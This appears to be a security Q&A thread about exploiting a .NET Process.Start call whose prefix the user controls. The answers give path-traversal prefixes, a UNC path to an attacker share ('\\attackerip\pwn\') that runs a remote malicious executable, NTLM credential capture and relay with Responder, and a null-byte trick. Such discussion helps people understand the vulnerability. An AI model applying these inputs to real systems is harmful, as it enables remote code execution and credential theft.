1

How to exploit a program that has this line:

Process.Start(user_input + "calc.exe")

It's a .NET function and nothing has worked so far ("mal.exe &&", "mal.exe;", ...) Any ideas?

6
  • 1
    Are you able to control the file name of mal.exe?
    – nobody
    Feb 25, 2021 at 10:16
  • I control user_input, I can write whatever I want Feb 25, 2021 at 10:24
  • Yes, but this mal.exe file you want to run, does it have to be named mal.exe or can it be any name you want?
    – nobody
    Feb 25, 2021 at 10:25
  • I want a specific exe to run at the end Feb 25, 2021 at 10:57
  • 1
    That doesn't answer nobody's question. Can this specific exe be named something different.
    – schroeder
    Feb 25, 2021 at 12:48

3 Answers 3

2

https://docs.microsoft.com/en-us/dotnet/api/system.diagnostics.process.start?view=net-5.0 Process.Start is more akin to, in terms of POSIX functions, execvp than to systemProcess.Start doesn't launch a shell (where your && tricks would work great), but rather directly invoke the given filename.

However, prepending a prefix to a filename can rewrite it to arbitrary places, because you can do something like:

  • ../../../evilcalc.exe (user_input is ../../../evil (ascending ancestor directories from the current working directory)
  • C:\somewhere\evilcalc.exe (user_input is C:\somewhere\evil) (Windows absolute file path)
  • /somewhere/evilcalc.exe (user_input is /somewhere/evil) (Unix absolute file path)

I don't think you can run something that doesn't end in calc.exe though—your mal.exe needs to be named something else (although I do question how you got it there at all, yet can't select its name—is it a builtin OS service or already-installed application you want to inconveniently trigger?).

2

As per @iridia's answer you need to control the prefix of the string. The easiest way to remotely exploit this is by using UNC (or potentially webdav) where you place a malicious file named calc.exe on a share and supply the path as userinput: \\attackerip\pwn\ which will execute \\attackerip\pwn\calc.exe.

If you don't have a malicious executable available you could also use this trick to snarf NTLM credentials with something like responder - https://github.com/lgandx/Responder or use multirelay to replay them to another server for shell.

2

The answer was adding a null byte "mal.exe" + '\00'.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .